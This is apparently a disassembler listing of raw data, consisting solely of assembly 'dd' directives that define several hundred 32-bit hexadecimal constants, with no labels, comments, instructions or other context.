		dd 0E2D05F29h, 71FBD7A5h, 81D886BCh, 511CC359h,	0FF79CF18h
		dd 29CEF28h, 0B68744Ch,	0A4474F5Dh, 3A0DB408h, 135D72A5h
		dd 75AEEA4Dh, 3F07072Bh, 0EF09053Ah, 0E9C2C8B2h, 9951D8C6h
		dd 8328ACBCh, 0FE75893h, 0FEB80206h, 5C0D9EA9h,	0B44B837Fh
		dd 844EFF9h, 641674E9h,	2B20BFAAh, 90FB1D39h, 0B3D6BA7h
		dd 0E3AF61DFh, 0C492A87Bh, 5C8D0A3Eh, 0B109443Bh, 45E2FACBh
		dd 5055DA63h, 19F79B02h, 36DD45h, 0A806B240h, 9D90ACB8h
		dd 0E7F46A4Ah, 0AD6C177Ah, 4029E00Eh, 0B4002DE2h, 4843D30Fh
		dd 0B2EEBEE9h, 3EC5B7C9h, 0B3C05193h, 12881832h, 0F0BAE967h
		dd 0EF398058h, 0C0DAD101h, 1D965BF8h, 34E3F489h, 2005A463h
		dd 0BD007BF3h, 76252EA7h, 276BE581h, 8CD54A7Ch,	9030618h
		dd 10E4E94Dh, 0D9AD89D3h, 0D5C94993h, 2E002E73h, 0F772B2BAh
		dd 4BD8953Dh, 0E0B054B5h, 57E20882h, 0DD02FE94h, 812C1B50h
		dd 121902DEh, 0BABB7C89h, 288F8448h, 9266203Dh,	8BAFFBDEh
		dd 55C0186h, 5D9B35FCh,	0FCF956A7h, 0E6E33909h,	7C052D38h
		dd 8F680710h, 0FE0993B9h, 5A24F466h, 0CABF61h, 0A0012D48h
		dd 99B8B50Bh, 20E60190h, 0D93B770Eh, 72B0C3F6h,	0D698561Ah
		dd 0E690FA4Fh, 6108BEBh, 8D686A42h, 69244916h, 7F6B8C06h
		dd 98424481h, 0BEE87E0Bh, 0DDAC9193h, 48643B3Eh, 92C9E2EBh
		dd 0AB5264BEh, 2FE9F8F4h, 4510A29Dh, 0DBA8CB0Eh, 551E612Eh
		dd 0D6CB4A48h, 0D637ABA7h, 0F4C54242h, 0B0516ED5h, 68E840EBh
		dd 15374331h, 6601597Bh, 0F580C45Ah, 27A5C848h,	0E516F097h
		dd 0B0594FD7h, 2D80F319h, 735165Fh, 82000D12h, 1128FD57h
		dd 8181C6ADh, 8C385AF6h, 7DAC2E54h, 8A09C290h, 0CE00175Eh
		dd 915984C6h, 584DC5Ch
		dd 10D2529Eh, 8417CADh,	4A3CBB20h, 2634EBB3h, 0F31006E8h
		dd 0B1025EA5h, 774C2A5Ah, 873D4104h, 7BD2AB54h,	0C16A8305h
		dd 0D8FF5B6Ch, 63B25A36h, 0B7F35097h, 0E961C571h, 0D781A4CAh
		dd 0AC757FE1h, 0C959EC21h, 0F5497491h, 29D996Eh, 8AF7D24h
		dd 464103F9h, 0C0DA6567h, 712962FDh, 1730CFE3h,	1EDA794Eh
		dd 5CC61754h, 0D2E734EDh, 8109D0A2h, 19A6B8Ah, 5FA0B230h
		dd 6243630h, 0E0195009h, 63D25956h, 310BE5E3h, 0DDAD68E0h
		dd 7F07DF46h, 0E911061Eh, 0C28EB2FEh, 4888A24Bh, 454E16E8h
		dd 0D72DD9B8h, 0DF858B55h, 0E39E7C94h, 4A0CE340h, 0BF3B010h
		dd 5FFD12FFh, 0E9B602FFh, 40B5C9CCh, 0B2DD074h,	43249BE4h
		dd 0C9E95540h, 0BDD7565Ah, 0F3AA8985h, 73B85F82h, 0C80F5CC2h
		dd 632011F2h, 895A010Ah, 0CF015BD9h, 0CFF63E59h, 0CB91AE93h
		dd 0F37BA3B2h, 0C1FAD5AEh, 7BF5E9CDh, 7A4AF63Ah, 0D1959BB8h
		dd 0BF5C1798h, 0FA0273D3h, 76B8F019h, 3A532E46h, 474C503h
		dd 0C21C773Eh, 515DEC5Ch, 96D7C9BEh, 9B14777Dh,	9F4718C5h
		dd 152FB3BBh, 584A781Ch, 212F6AC5h, 9043377Ch, 0E947B040h
		dd 67C29F9Bh, 668059FDh, 0AC9AC055h, 301EBB77h,	0B3882BF2h
		dd 69BD01C2h, 7A15487Dh, 490002BCh, 51E7E6Ch, 672AF124h
		dd 689DED89h, 3C484A21h, 2DA83F14h, 53609706h, 0DA2E7F11h
		dd 843B0F43h, 2957232Ch, 8CA10AFh, 0B6D08242h, 91F2268h
		dd 2042D0E9h, 9F6050DFh, 0BB63795Ch, 68CE0DA2h,	68B85FB6h
		dd 0B89A00A8h, 0EFC1D058h, 2FE91305h, 0B7C3FC9Dh, 5E4DC4D3h
		dd 0F667FB0Eh, 9542B9D5h, 0DE6BEB68h, 6F056259h, 0F1823B56h
		dd 753CDD74h, 0DAC182EAh, 0DB206BB3h, 600B4A1Ch, 3AC57A46h
		dd 0BB03658h, 0F5DCAE5Bh, 0BBD84F31h, 33683528h, 2B9566A3h
		dd 5BCDAAECh, 9A623B30h, 5E42FEA2h, 0C001F8C9h,	2D79F9C3h
		dd 559DD5Dh, 0BB0BE968h, 0D992CC67h, 3F9C447h, 28AF0402h
		dd 22A72CD8h, 6177663Bh, 6269A8C3h, 91D1C20Fh, 4889E57Fh
		dd 0DD2F8056h, 0AA91D616h, 5BF06805h, 8804E38Dh, 0F9E43789h
		dd 0C8212D5Fh, 53A1B85Fh, 0EF6E4BE9h, 0F618F11Ah, 5451C30Bh
		dd 0A4E90B0Fh, 7365FCDDh, 85B81665h, 0A5B2FA41h, 0B12748A6h
		dd 0EA0CDD74h, 0CB4AB2F8h, 7E8A15D1h, 403BB748h, 170B2DBAh
		dd 0F5415832h, 40FC9560h, 28900BF4h, 6D782ABDh,	0E12FFD26h
		dd 0A33F5FF0h, 0A0864059h, 48A22B1Fh, 2D5CF02h,	0F7F74047h
		dd 1BA1C83h, 0F2FE926Bh, 9DAAD652h, 0AD1961FEh,	2C73D4B3h
		dd 2A230308h, 0C0158BCh, 0DADBE507h, 0B020F101h, 16BD80CAh
		dd 2D511C1Eh, 12539792h, 5AE4D0BFh, 81A0D101h, 0C89DB8D4h
		dd 29685B22h, 84EB60BCh, 0FFEAB050h, 0F018FD07h, 0D9E67F0Bh
		dd 365BDBF6h, 13A7F255h, 7B62A0D9h, 0EB7D486h, 8C2465BEh
		dd 88B2FF18h, 2884630Eh, 7D9540DEh, 32E933BAh, 0E3A9C265h
		dd 6674A4C0h, 9836BB58h, 0D98867A6h, 0B95EDD98h, 476946AEh
		dd 50090EBBh, 57DA8852h, 0E53CD06h, 0F74FE679h,	154D5FB8h
		dd 4A0F29CBh, 5892ABFh,	0DAD95268h, 0B210AC22h,	4AD178BCh
		dd 0B5158C33h, 3AB0C748h, 0D53083B2h, 50ADD6E9h, 17620A4Eh
		dd 0FF768C71h, 6A12E2CAh, 3A3EDD60h, 0CBBD4C17h, 9BF534A2h
		dd 0C691C19Bh, 68C20A6Dh, 7B7916B3h, 893D7CA7h,	0BD7C329h
		dd 122445B0h, 6C06E1E3h, 0EF3B7BCh, 680D09DCh, 15711419h
		dd 0A55B1183h, 48FEC229h, 0A4B388Bh, 0E6D141D4h, 255A0EF4h
		dd 0D70654CBh, 0F301F505h, 2B223C2Fh, 253EDF01h, 0A817EFC2h
		dd 0E99890EEh, 8691AF1Eh, 20AF0617h, 0AA2F185Dh, 57E9D10Ch
		dd 1F2D5684h, 7D39211Eh, 0AAF99813h, 0D2AD34C8h, 70C02D1h
		dd 6F4D9F6h, 0DFB0BB09h, 52003914h, 0F7845BAh, 2BFBD05h
		dd 0E9FAF087h, 24FDCD83h, 69CC9FC7h, 4BA700B9h,	0E1816BE7h
		dd 0EB2D7740h, 0F082F258h, 916C2C8Ch, 142902ABh, 46752DC6h
		dd 0D3DC25F2h, 0F17344D6h, 9D2FD43Fh, 0D4F22AD4h, 5F8E3B15h
		dd 89A1EC99h, 88835B9Ch, 0F2209A52h, 18F8C730h,	7FF236BDh
		dd 86E8C10Eh, 3F4D3724h, 0ED0389F8h, 61965992h,	41B81248h
		dd 171CA008h, 0EB53319Fh, 8771953Bh, 707D00D1h,	0E95A4968h
		dd 800970BDh, 8BD720C1h, 92054B3h, 18D50989h, 80AA6458h
		dd 80545BBh, 0DE293D7Ch, 0FDD0CAC2h, 5261C724h,	5A46D2A0h
		dd 6ABD8C40h, 1C533D40h, 8F86D3B3h, 0D39ED2F6h,	0BEE9C8DDh
		dd 1255F109h, 0B823076Eh, 0E9608790h, 0BEF6599Dh, 5241829Fh
		dd 0C36B2B7Eh, 0E0050630h, 0B6642ABBh, 97C12784h, 80C9307h
		dd 0C37F210Ah, 6EA02D89h, 20479871h, 0B8079EF0h, 1174E6Ah
		dd 0BF82C715h, 552C41D7h, 523EE94Ah, 0A713302Eh, 0D6E42451h
		dd 40E2BFC8h, 1B77B6A6h, 46AE372Dh, 4A5A9FABh, 719F44F0h
		dd 90E2AF5Ah, 228B45Dh,	5A40B850h, 1B404F3Ch, 0B0FEA5C4h
		dd 0C3FDE92Ah, 0F1D5E29Fh, 0CC2D40B4h, 404A821Bh, 741D5BCh
		dd 50335F0h, 7DE92A25h,	0C6290C0h, 289CC265h, 89F2DE27h
		dd 22D8E5E9h, 257EEDB5h, 0F76432F7h, 0D038FF22h, 0A406D1D5h
		dd 0E8C2169Bh, 6C129E4Ah, 0D7EA4BEFh, 978E65A9h, 3100B93h
		dd 0CD9DF9D8h, 7F320962h, 0A7BCC0D9h, 844D09ACh, 98B3583Eh
		dd 43BC45Fh, 0E08C2E8h,	0A4BE1E59h, 0EF194128h,	50DB30A3h
		dd 0FBB66542h, 1A81C4FDh, 780ADABEh, 0F1037E4Ah, 4AD4F0D3h
		dd 10A1FD3Ah, 7DE1B92h,	503E09A6h, 0BB1CE95Fh, 531D27C0h
		dd 0F5D2123h, 6BE564Dh,	29ABFE81h, 0ADD13BF5h, 80396BE9h
		dd 7176C20Eh, 964304Fh,	0C16802D4h, 283E711Fh, 6C19058Dh
		dd 0C3570792h, 0FE85E1E6h, 0F04E30F3h, 2B404835h, 4CD62FEh
		dd 0D009D5F6h, 0A0EAE078h, 9F5AD08Bh, 0B04B71FEh, 935FFDFDh
		dd 0B519301h, 1877DFA5h, 30BF15h, 0BA4C057Ch, 759A239Dh
		dd 81CC01B7h, 0E331A9EAh, 5A09416Ch, 49A18868h,	6228D7E9h
		dd 0F786DB0Bh, 5E0BA794h, 53073055h, 20DEC454h,	0C3E81225h
		dd 74A5683Bh, 0FB59F0E6h, 3FBE5868h, 3FFD4F37h,	0FA8AEFA5h
		dd 0E163E917h, 4CA87AADh, 300B02B5h, 3850F363h,	0A7DA8A82h
		dd 5CCD6818h, 80B39BE1h, 3809BB53h, 679333Bh, 4A166D3Bh
		dd 8554FC5Dh, 0EDA4C8C3h, 0D01E18B3h, 53260C77h, 0E6D2E590h
		dd 34AA6B04h, 0AFE552A8h, 23197BB6h, 44B01E26h,	0F69205CFh
		dd 0E20EFADBh, 9E101065h, 0B1510BC6h, 44D70F43h, 0F6BEFC1Fh
		dd 7DA35F58h, 0B336D29Fh, 22CB4825h, 0F817226Ch, 5FCEE204h
		dd 0E6AB3D56h, 0D5E90B24h, 0F65B2263h, 0C15E816h, 0A8B08B0Fh
		dd 6576B828h, 46D4C105h, 0F58003E4h, 60957AA5h,	4314246Fh
		dd 56EA3A3Eh, 84A53B5Ch, 0DDEE71EDh, 0CCD301B6h, 0E125A7A7h
		dd 0F7705E0Fh, 1C59957Bh, 759B2162h, 37815B20h,	0F1BD152Dh
		dd 7B6E2D29h, 0BE160E4Bh, 0EF5195FAh, 625CE6F4h, 9AF72731h
		dd 11E06800h, 0BE254887h, 0AC82A85Ah, 8619B5F6h, 4E8305D2h
		dd 665314CEh, 8107F0F7h, 0D445D6CBh, 862A89EBh,	140A17F8h
		dd 6AC9080Ch, 471D50CEh, 0F59F6409h, 55B1366Bh,	26E24122h
		dd 0D88DAFEAh, 931DA034h, 52CC0BFEh, 4A0F6CB2h,	859D21B6h
		dd 3A8206DFh, 9575CCC3h, 8C813D0h, 2F1A33EBh, 93BC5C19h
		dd 4DDD432Fh, 5880CD74h, 0E51076F5h, 0CA8900E2h, 27B92D59h
		dd 5760244h, 4E467A30h,	1FE572C3h, 99112807h, 93D86C8Ch
		dd 24BFECBFh, 10C4C501h, 0C3FE24AEh, 54FC5A3Dh,	0E380142Dh
		dd 0C03FB2B8h, 9D356A03h
		dd 0A8595511h, 504E45C3h, 0A8CF9D27h, 0B34828E5h, 56C50906h
		dd 74BC83E4h, 0A8A854C4h, 0A3DDD0C4h, 31FB0B6Fh, 0D29988B3h
		dd 65C12201h, 244D9F7h,	0E6CDD001h, 0CC68792Ch,	67BE7F10h
		dd 7AD9BCBAh, 0B246303Ch, 0FC5E82F5h, 2465764Ch, 11C2B58h
		dd 0C00EFD2h, 541D05E7h, 0F8F7EC3Fh, 80107204h,	0F42D7695h
		dd 27885549h, 9ACA2808h, 0E8C00CEBh, 0D606D004h, 0B7FCF675h
		dd 99DD6FE5h, 7E1FA26Eh, 5E0B8B4Dh, 416C8C9Ch, 49342E99h
		dd 8833E1BBh, 3DAACE74h, 0F62B57B1h, 936BF1DDh,	0C731B967h
		dd 0C36059CEh, 0BCAD4B7Dh, 84EBD478h, 73E89591h, 0BF5DD0C5h
		dd 10328179h, 25055CC0h, 4C499923h, 6B074145h, 414C718Bh
		dd 0E9550F16h, 10C1A48Bh, 912809A7h, 0A61B3926h, 0CFF12D4h
		dd 0C7898349h, 0C177CA97h, 17819DB9h, 5E3256CFh, 9A32704Ch
		dd 0D8B6A04h, 6595E4E9h, 859944BAh, 8FE017F6h, 64C65829h
		dd 0A08440Eh, 40B2E925h, 4572BFCFh, 0C3B70665h,	0E0065A22h
		dd 137AE228h, 4E262A49h, 448F52F1h, 28B2BADh, 3AA58C2Fh
		dd 0B2E5C010h, 2863BE3Eh, 2D4E972h, 4F93B9B3h, 7B614ED1h
		dd 0A018F4CFh, 0E5B3C2A6h, 4270912Eh, 485D001Eh, 706A2025h
		dd 832FE94Dh, 0A05FA12Ch, 0F03A6204h, 7712F2B9h, 6B0E30D4h
		dd 77312921h, 0C79A5CC3h, 0B03D30DFh, 6475960Fh, 7A31A1FDh
		dd 0E9132F8Fh, 0C60D9082h, 0A628D9C5h, 9A4AB52Dh, 5E29DBAh
		dd 0A5635EACh, 0AE5C5A84h, 6C11AD8Ah, 40BA0161h, 4246B976h
		dd 0D6EE2FF0h, 263DB88Dh, 5E92404Eh, 2E6961EFh,	80EE04E8h
		dd 2533C209h, 0B91CCF02h, 41AD163Ah, 0F26AE71Eh, 0EEC183E0h
		dd 0FC6FF103h, 510C2C42h, 15BD0EF1h, 0DEF9E816h, 0D0A1F292h
		dd 40AB9E2Eh, 47E2EDDFh, 0A2E9E009h, 0B398D545h, 0EE9FB822h
		dd 575A2EF2h, 35401630h, 3D2DEA85h, 0BEFF9DADh,	877395AAh
		dd 10E8C104h, 37A98C2h,	0C8B9E4B3h, 79453F25h, 8A44CD63h
		dd 90F00CE8h, 4E76B237h, 73F88A5Bh, 3950FD3Bh, 585A97E8h
		dd 0FBE99B60h, 0F29DC0D7h, 3ED63203h, 5A39A297h, 20DA641Dh
		dd 6817207Ah, 21E85063h, 8C8458B2h, 503DE081h, 0B809C49Fh
		dd 0E4D4308Ah, 0DDAAF76Bh, 742E942Dh, 80FB9616h, 8F3FBA98h
		dd 5201D01Fh, 0A5FF5E25h, 56AFFFEDh, 0F8CB7BA6h, 15FE525h
		dd 1B4468DBh, 904B376Bh, 5CD36DE9h, 0E113594Eh,	0E8C4645Eh
		dd 818279F0h, 0A47157CAh, 3D2CC260h, 0E94409C5h, 30F96199h
		dd 9AEF5112h, 2D533174h, 0F026C331h, 62729058h,	0B3E908D3h
		dd 0B84A56CBh, 0B807CE02h, 0B3697554h, 0E211AF0Bh, 0F996F7CAh
		dd 0D2A3FCBFh, 6DD591A9h, 0CAE98BADh, 0A9E9A0DDh, 136127Eh
		dd 6803558h, 30897AEBh,	202FE9B3h, 25CA9433h, 307F5FFDh
		dd 0EFD8E9C9h, 0B6C320A7h, 74F43204h, 0A805807h, 130328D2h
		dd 1E7C178h, 477DEFD7h,	0DB3030F2h, 5C4E3A92h, 3D54FE8Bh
		dd 0D0BC4A1Fh, 0A27384D5h, 2D421548h, 0A5E5F11Ch, 484033D5h
		dd 0E44A7B43h, 71EEEDA5h, 0BF0A8095h, 4C331BF2h, 17353E0Bh
		dd 1688CA85h, 4AAAA368h, 979C0760h, 0EBF46481h,	5BB9BB0h
		dd 7C4B078Fh, 0E61E90D1h, 1F469F0h, 98E9DF0Ch, 5A665332h
		dd 2075317Fh, 8104140Bh, 0F9AA05B4h, 0E449F5EBh, 5F25E154h
		dd 0E7BC612Ah, 0C001029Bh, 82DC8E74h, 0A5065340h, 0E5BC4A2Ch
		dd 37AFCA39h, 8F09A2C8h, 0E2BE63F1h, 786268DDh,	5A4E9E95h
		dd 522A056Ch, 162D2868h, 655018B7h, 1E301218h, 0B4A6AA5Fh
		dd 24B3A92Ah, 88A85429h, 5037ABF9h, 52CEFEABh, 0A3AEDBD7h
		dd 0A04C92CCh, 0C25C88CBh, 0DB5027ECh, 0E95D6C3Eh, 7443412Ah
		dd 0F068D6A2h, 0DE98DAF6h, 3A3941h, 0F9E58132h,	127E4720h
		dd 7EC3C02Fh, 2EC7515Ch, 0C5806324h, 4FFE2672h,	0E27E8770h
		dd 3057DFF6h, 9DBF2E43h, 0F25B06D6h, 2562742Bh,	31B60257h
		dd 7992A36Bh, 0A5251802h, 145B1503h, 2E235F34h,	1D3CA4FBh
		dd 310ED19Ch, 25F74FFEh, 51E23456h, 29074B48h, 0E5614621h
		dd 0F591A4B0h, 0C8430403h, 0E9EA0102h, 1B81125Eh, 1D086EF6h
		dd 528D7B75h, 6C9EA46Eh, 40BADC4Bh, 64215E5Ch, 0CA05810Dh
		dd 76457419h, 56468C01h, 0B320410Fh, 0CDB881CBh, 0BA69D462h
		dd 0BF3F0EF0h, 90469863h, 0B75E5A5Eh, 18D0A1E0h, 0DBE697h
		dd 50657AC0h, 13940D58h, 0E9335F09h, 0BEB220A1h, 1FA03873h
		dd 3AF2316Ch, 5B5F0CFh,	3F744597h, 7EE164A7h, 0D36C205Dh
		dd 0B28C475Bh, 85033D61h, 25B6C137h, 68E6904Bh,	0EC970671h
		dd 0B914FEA1h, 889A2439h, 0BB00BFB0h, 3C502331h, 598AF64Bh
		dd 0BC4BADEBh, 61BCE4D0h, 0CEA34DCBh, 0CA93D131h, 0C6F3BFA5h
		dd 1654DC4Ah, 239558E5h, 0D7F76448h, 624C184Bh,	47FF5Eh
		dd 0C7A58B2Ch, 0AC30ACF5h, 51A8082Bh, 0D167838Bh, 3DB0823Fh
		dd 8C421D11h, 60DD8929h, 9A9EB483h, 9D611EC4h, 0C02357C3h
		dd 596904C4h, 0CC68662Ch, 0F32C118Bh, 845ACFCh,	3C2875FBh
		dd 4492E071h, 0D395C178h, 0BF551234h, 0C869FE9Eh, 75A0CBFFh
		dd 5BA69842h, 778B175Dh, 8B9D20Bh, 0B07D985Fh, 4A42F66Eh
		dd 0B9C89D11h, 954520AAh, 72B8BBEBh, 77954F9Fh,	0BA80BC12h
		dd 3D425D63h, 932DE916h, 0F47834h, 81FD40FFh, 7714EE38h
		dd 0A6FD215Bh, 0A83E0841h, 5EF0A034h, 7C952F68h, 0B640D55Ah
		dd 0BB530052h, 4D5E71EAh, 0B209EB81h, 418EF5Fh,	0BF00A061h
		dd 674B591Ch, 0C55A6EF4h, 361E7F4Eh, 53B2D3F8h,	0D11191DDh
		dd 3A63B9FBh, 16594BAFh, 88BAAD96h, 91679D56h, 6490C6DBh
		dd 7DF72625h, 94932FDEh, 0E9D89DD4h, 961353D5h,	2E64C95Bh
		dd 68F041FCh, 0F19513B0h, 0E9456CDCh, 51007A4Bh, 0AC2F88BAh
		dd 784A4C33h, 436BDE05h, 2C6BB2Ch, 0A340E7C3h, 4E46A04h
		dd 5BD80911h, 3B1DFA55h, 19364F0Fh, 0E80485A6h,	0EFD10B9Fh
		dd 0E49E8752h, 95AFE144h, 0FBA084BCh, 0BDEA6640h, 0D273FE2Ah
		dd 0AB870B12h, 0F53100A2h, 9F21CED7h, 0E3B50ADAh, 0EC285A51h
		dd 8DBEB5D1h, 0AE7E8044h, 687C9E71h, 8BE8B58Ch,	0AC0C867h
		dd 193A0DBDh, 0B5BE9856h, 0EF0FAF70h, 2B114CE1h, 0A7F904CBh
		dd 13F4E3EAh, 5E208699h, 5A067A66h, 2B10FF18h, 261C6008h
		dd 0C0302157h, 596C0F0Ch, 1F26684Ch, 0D5CBBA15h, 0BA3EB52Ch
		dd 4ED50232h, 0EC6DECAh, 0F1166369h, 0F55F4055h, 0A93023D1h
		dd 18940C2Ch, 0E1385A11h, 4B024BE1h, 0E9509C30h, 0F9644B97h
		dd 0D2EC4C0h, 6A6C3406h, 5A203590h, 9CBA07A0h, 0CE5EE271h
		dd 89EBA077h, 0EED10980h, 75D89AABh, 8D5616BEh,	84C5FC7Fh
		dd 0E8176D5Fh, 0C5E1124Eh, 8C6F1DFBh, 0A40621C1h, 0CA4A30F0h
		dd 7429590h, 80154F1Eh,	62B951D3h, 4FDE5F00h, 35C98141h
		dd 10040B79h, 40A124E9h, 36FA315Bh, 0E9B64045h,	0C5C7371h
		dd 7D2476E5h, 688060E1h, 52551D99h, 0FC4BD5Bh, 4CE38102h
		dd 0FF219F7Bh, 6358ED20h, 311997C5h, 6CA65BDDh,	80516600h
		dd 15CFDB8h, 27AD871h, 0FEDD1A86h, 3FD08C3h, 0D430B628h
		dd 0C6E95202h, 0F99C4857h, 0BED0C15Fh, 0D868B030h, 4228D9E1h
		dd 284AC866h, 0AF12C7B6h, 9E0AA8C1h, 0EEE8FA17h, 9F61BF5Bh
		dd 4E351A19h, 0CAF2013Eh, 713F7D5Dh, 0ECC83A90h, 6F6A0077h
		dd 26E70506h, 2D0421D2h, 434D47BBh, 0D0A187FFh,	85DB2E84h
		dd 28E68690h, 0CA4CC727h, 0D7080994h, 4E5F594Ch, 0C2550FC2h
		dd 25437C66h, 46A157Fh,	0D0B9CBE9h, 5C76C57Eh, 0D64AD89Dh
		dd 5096AD0Eh, 24D6D0CCh
		dd 141655BDh, 0C6A9EC98h, 278963F7h, 0B075B667h, 288B86Bh
		dd 6860C63Ah, 0A17E7714h, 7B1BA462h, 4674ADE1h,	0DA0C4028h
		dd 0FA3B0729h, 0B8467917h, 0D316228Bh, 96522725h, 60B4B022h
		dd 0F7EED7ACh, 7F4F915Fh, 9C02DAE1h, 2FFAC168h,	0B44A8334h
		dd 42F21C32h, 2951365Eh, 0C57241FFh, 1A9BDA40h,	0D67E48DFh
		dd 0F94E2138h, 0F2F496EFh, 0EA5F5BF8h, 8C60002Dh, 0D28A8663h
		dd 832AD154h, 0EF875D1Eh, 20CDE3C9h, 0CC54E6E8h, 3BE39C45h
		dd 7101F684h, 2601C22Ch, 1426995Dh, 18E2F01h, 9242E8C1h
		dd 5B8DA4E7h, 0D29F7BF2h, 0B765C554h, 8E0C1260h, 6850CCBBh
		dd 0C92D0E2Dh, 316FBECBh, 4658A9Eh, 1B099201h, 809F1A64h
		dd 0AC568E05h, 67A3AE12h, 38DD7C4h, 95306855h, 0FE51948Ch
		dd 0A7094EE8h, 6807616Eh, 7C787BD3h, 915AE3CBh,	0C926FB77h
		dd 0E7829D8Ch, 8140CA13h, 0FE4225ECh, 0E2F4A7CEh, 48806A85h
		dd 9A1635E9h, 54C0B70Bh, 359ADD51h, 0E481584Ah,	833D2F4h
		dd 6FDC5927h, 4E68CDC0h, 0FC350106h, 893BC56Bh,	73C22BC2h
		dd 6A5860FBh, 20C59E01h, 9271BF08h, 0F9FD4364h,	6ED8DC1Bh
		dd 0D5051D2h, 7AD8DCBFh, 389D16DFh, 79CC4DDAh, 83139C72h
		dd 0BC2DF0C3h, 3750FADDh, 0EDB35008h, 1B646913h, 626D8A02h
		dd 3C42C19Bh, 0C05EC06Ch, 6563F976h, 7EC72A4Ch,	0E759C160h
		dd 178A5A89h, 0A9D7F77Ah, 0B8305ABh, 0E8BF951h,	25FF224h
		dd 0CA87394Ch, 7AAA7A75h, 0F88E5AEAh, 5AD70BB3h, 1F7D057h
		dd 6EFA44C5h, 44DC65E9h, 0FBD4FB66h, 0E0B43EFCh, 0AE9D3833h
		dd 3DF9D6D3h, 6AE05A38h, 39984291h, 7E09F2B1h, 0C0098F08h
		dd 8B09C0E5h, 0B4E92F0Eh, 0FD48C972h, 0B5DD100Ch, 31FF4238h
		dd 210EC99Dh, 0D3F378D8h, 0B6A60621h, 0BF4A7F23h, 62C3768Ch
		dd 0F7881CDAh, 0E1D248DDh, 0E85A4E58h, 0BE5384EBh, 813925AAh
		dd 7D79E47Ah, 39200F1Bh, 0C831EB58h, 9CFEE9FCh,	601E9C15h
		dd 87679CF4h, 0A267800Ah, 484A6B83h, 3512E110h,	2466FED4h
		dd 28FE5A9Ah, 2BFFC947h, 84FD3654h, 3138FD3h, 146CC1A4h
		dd 0CE8B0AD2h, 4346905Fh, 24D18196h, 0E6171C39h, 14EEAC2Eh
		dd 4239C5B6h, 219D2AEh,	8683D522h, 22FA0F6h, 50E2E953h
		dd 7F2D0512h, 0FA4CEB38h, 0B3270E05h, 9859C305h, 43C9348h
		dd 0E9173768h, 11DD8131h, 0D5E6257Bh, 0C524B60h, 0A8CC5582h
		dd 0CB15730Bh, 67750602h, 6BD877EFh, 2DF0F08h, 0F9DEE631h
		dd 0A9C889ABh, 6020D3DAh, 0EFC10FC3h, 0A7FF4F08h, 145D538Bh
		dd 3E18B593h, 122C6852h, 50670F1Ah, 0B44ED290h,	0F8584E65h
		dd 0EE0D0086h, 252A8876h, 0E067C99h, 158E3569h,	0C3894E42h
		dd 0E943C451h, 29832F7Ah, 0E00F09FAh, 2A779D60h, 820CACBh
		dd 4F81CC1h, 93427873h,	385DFCDBh, 2322EC2Dh, 6801EBE2h
		dd 0F33831BEh, 7F1289D2h, 0E9B02DE2h, 0EA064CCh, 0B5253C31h
		dd 0BDE44427h, 4290A0D2h, 2BCBE37Eh, 424BD6F2h,	25DE5AD0h
		dd 77852h, 1BF065D9h, 589EBDB9h, 8DC02C50h, 5F6F6904h
		dd 5984D101h, 215A0804h, 43C0E4C4h, 0E3F7FC7Ch,	82CB8360h
		dd 134A0F40h, 8178D007h, 0B30197F5h, 0B578D11Fh, 0A8DD8D05h
		dd 1EE2AE57h, 3805BFD7h, 0AF01FB01h, 771D4A2Dh,	0AD695721h
		dd 0A83F7585h, 23F4C9D2h, 0A8305925h, 0B74C6768h, 3420D74Ch
		dd 20D29FD8h, 43565E00h, 52B26851h, 0E935098Bh,	2BE69BB5h
		dd 8D5FEB80h, 0AC887B9Fh, 9A3500F4h, 0EB89F227h, 9B561EBDh
		dd 2E28957h, 5400A266h,	816DCB5Ch, 304ADBF1h, 8A0C0FECh
		dd 2EEDEB67h, 0E478FA41h, 8B2FFEF2h, 4B6605BFh,	0D0805096h
		dd 50BB17F4h, 129FFC75h, 0A14A2662h, 4BE97C67h,	0FBD0A8E8h
		dd 982E351Eh, 20171802h, 29306873h, 4E211CD1h, 159CA09Bh
		dd 60E99792h, 0C81D6FC0h, 8003E701h, 0D6EDA1CFh, 665CD980h
		dd 0B70FC331h, 69BBC04Eh, 0BA2C3AB6h, 0AC2340ADh, 14C761EDh
		dd 959512C4h, 30F0AE7Ah, 9E821EF3h, 7B626F64h, 0B5E50D5h
		dd 7A066F8Fh, 0C5C7C3E3h, 650C256Ch, 8B48F821h,	0D7A4ABFBh
		dd 0F19F1DC4h, 891962E5h, 3083BD00h, 4D411487h,	7F3B9645h
		dd 0C2332014h, 99139404h, 0EAD3C80Fh, 451D8802h, 61D501A5h
		dd 27DB32Fh, 0E0792D05h, 0B51BC270h, 0F10F5AF2h, 6512044Ah
		dd 0F4EA907Fh, 18138FC0h, 0D0015659h, 6D24AC7h,	40D5F03Eh
		dd 0C07A3941h, 0C830583Fh, 3E76DCA1h, 41EC728Ch, 15AC6F86h
		dd 1B1245Bh, 0F6D6B7C0h, 0E7A93ED7h, 42BF5700h,	0B8012A04h
		dd 594E0901h, 5FF83141h, 59E99E30h, 0B45EE8A3h,	40279763h
		dd 2A3F7829h, 5BAB7703h, 1EB0F35Ch, 53421D54h, 6152585Bh
		dd 0F2D0D008h, 6B63981Ah, 12DE0DCCh, 4FD42D00h,	600170A5h
		dd 7E2090D0h, 3FB01677h, 590BB809h, 508D845Ah, 69B04F1Eh
		dd 40484E82h, 7B8EFFC1h, 257B37E7h, 0A6986F93h,	8082978Eh
		dd 25E6CE90h, 0C77C4CF6h, 39376F3Dh, 0E061979Ah, 0F389982Fh
		dd 0DF0DFAC9h, 3FEAD839h, 74D6DF58h, 25E9264Eh,	229C1A4Dh
		dd 5CFA50F7h, 805B24F6h, 4385B986h, 21647504h, 0D0BF59CFh
		dd 0DF6FA10h, 0E9A8845Fh, 832FF5Bh, 0B5F8F071h,	40BFC5F8h
		dd 77B10532h, 1321310h,	7F3589C6h, 1C28D721h, 92B079h
		dd 0E147C8D4h, 69984D13h, 1EB83D05h, 0CFE29ECh,	0C2DBDAA3h
		dd 0A736D81Ch, 0EAEA018Dh, 0AEA0806h, 4414539Ch, 0FB3B0F99h
		dd 1729C705h, 0DEDEB2E0h, 0DC4ABED0h, 0FB975D6Eh, 2DEC919h
		dd 53F8B460h, 0C1D8C4B3h, 806DA893h, 1F48C708h,	5429255Fh
		dd 8286E45Dh, 40D0560Ch, 1E02685Bh, 0F2019B95h,	0E16F755h
		dd 86321597h, 16B93BE9h, 0FD835D3Bh, 944A417Ah,	9FFE2C84h
		dd 5F94FC8h, 62D1AA92h,	50259AE9h, 0BF86D8D4h, 0BA87DAF9h
